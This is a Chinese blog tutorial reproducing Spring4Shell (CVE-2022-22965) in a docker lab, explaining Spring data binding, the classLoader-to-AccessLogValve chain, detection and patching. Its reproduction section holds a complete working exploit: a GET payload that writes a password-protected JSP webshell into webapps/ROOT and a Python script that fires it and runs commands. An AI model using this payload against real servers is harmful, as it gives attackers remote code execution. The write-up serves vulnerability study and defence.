Spring RCE 漏洞 CVE-2022-22965复现分析

目录

前言:

(一)了解Spring框架

1、spring framework

2、Spring Boot

(二) 漏洞介绍

受影响范围:

不受影响版本:

基础知识

利用思路:

Tomcat日志:

access_log属性:

(三)漏洞复现

1、进入并启动

2、漏洞复现

1、BP抓包,加入代码

(四)排查思路

(五)漏洞修复

1、WAF等安全组件防护

2、官方修补


前言:

        关于CVE-2022-22965漏洞的环境调试和内容,网上看了一波,感觉有些知识点内容还是必须要了解才能理解该漏洞,为此详细写了下从Spring框架结构分析,环境搭建到漏洞分析调试整体的一个过程理解,在遇到其他类型的漏洞也可以去调试运用。

(一)了解Spring框架


      由于本文主要介绍漏洞原理流程,所以有关框架不会具体展开,会将涉及到的内容进行解释。

1、spring framework

     它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。

2、Spring Boot

        但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系

 Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。

(二) 漏洞介绍


受影响范围:

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20
  • JDK ≥ 9

不受影响版本:

  • Spring Framework = 5.3.18
  • Spring Framework = 5.2.20
  • JDK < 9
  • *与Tomcat版本有关

基础知识

        在Spring MVC框架里面,假如我们在前端发请一个HTTP的请求,在后端用Controller进行接收处理,Spring提供了如果你请求的参数和你所编写的参数可以对应起来的话,它就会调用对应set和get方法(默认自带的方法)进行自动绑定,当然也可以进行多级绑定:

eg:

参数名赋值:contry.province.city.district=jianye
调用链路:
        Contry. get Province()
        Province. get City()
        City. get District()
        District. set DistrictName()
江苏->南京->建邺
eg:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}

public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}

public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

当请求为/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:

  • PropertyDescriptor
        JDK自带:
  1. Java Bean PropertyDescriptor
  2. 自动调用类对象的get/set方法

eg:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);

BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}

userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合

  • BeanWrapperImpl(使上面调用更加简单)

  1. Spring自带:
  2. BeanWrapperImpl
  3. 对Spring容器中管理的对象,自动调用get/set方法

eg:

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);

BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);

System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));

userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);

System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}

userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。

利用思路:

        通过Controller的参数赋值(自动绑定), 可以修改任意对象的属性值,假如说我们修改一个文件名和保存路径,写入一个话木马,用中国蚁剑连接,控制整个项目,那么我们就成功实现入侵。这个文件就是Tomcat

Tomcat日志:

 我们想利用的就是access_log属性值里面的内容。

access_log属性:

  • directory: access_log文件输出目录
  • prefix: access_log文件名前缀
  • suffix: access_log文件名后缀
  • pattern: access_log文件内容格式
  • fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

在server.xml里面就配置了对应的文件名和保存路径,在它里面我们找到了类名。

调用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass()         
   java.lang.Class.getModule() 
      java.lang.Module.getClassLoader() 
         org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 
            org.apache.catalina.webresources.StandardRoot.getContext() 
               org.apache.catalina.core.StandardContext.getParent() 
                  org.apache.catalina.core.StandardHost.getPipeline() 
                      org.apache.catalina.core.StandardPipeline.getFirst() 
                            org.apache.catalina.valves.AccessLogValve.setPattern

(三)漏洞复现


1、进入并启动

cd spring/CVE-2022-22965
docker-compose up -d

 启动需要一定的时间,主要看电脑的性能。

2、漏洞复现

        访问网页并且进行抓包,修改红色框中的内容,其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中,在访问该文件的时候,需要验证密码pwd之后才能够执行需要执行的命令cmd。(PS:每次写完shell会有缓存,因此payload没打成功请重启)

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%

看似复杂,实质上就是反复调用get和set方法,进行复制取值修改路径注入一句话木马,我们来具体分析一下。

1、BP抓包,加入代码

首先对suffix(后缀名)、c1(路径)、c2(文件名)参数进行替换。
经过处理之后,有些java基础的人已经看出来了这是一个写入webshell的语法
首先判断pwd是否是fuck,如果通过就执行cmd命令

写入一句话木马,我们可以通过中国蚁进行连接,密码就是参数名pwd    
GET 
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
	int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
        	out.println(new String(b)); 
	}
}%>//
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp				//后缀名是jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT	//路径是webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck				//文件名字是fuck
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

        进入到容器内部,查看是否生成了fuck.jsp,发现成功生成了fuck.jsp,并且其内部的内容也是成功写入了

docker ps
docker exec -it 7c /bin/bash
cd webapps/ROOT
cat fuck.jsp

感觉上述步骤麻烦,直接自己写pthyon脚本进行攻击

import requests

headers={
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%"
}

payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'

try:
    U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
    U2=requests.get(url=ip+payload2,verify=False,timeout=3)
    if U2.status_code == 200:
        print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
    print(e)

(四)排查思路


  1. Spring 参数绑定功能
  2. JDK版本 9+
  3. Tomcat部署方式及版本
  4. Tomcat Access功能
  5. 流量分析
  6. 日志分析

(五)漏洞修复


(参考: 深信服千里目安全实验室

1、WAF等安全组件防护

在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

2、官方修补

更新升级到最新版本。链接如下:
https://github.com/spring-projects/spring-framework/tags
注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值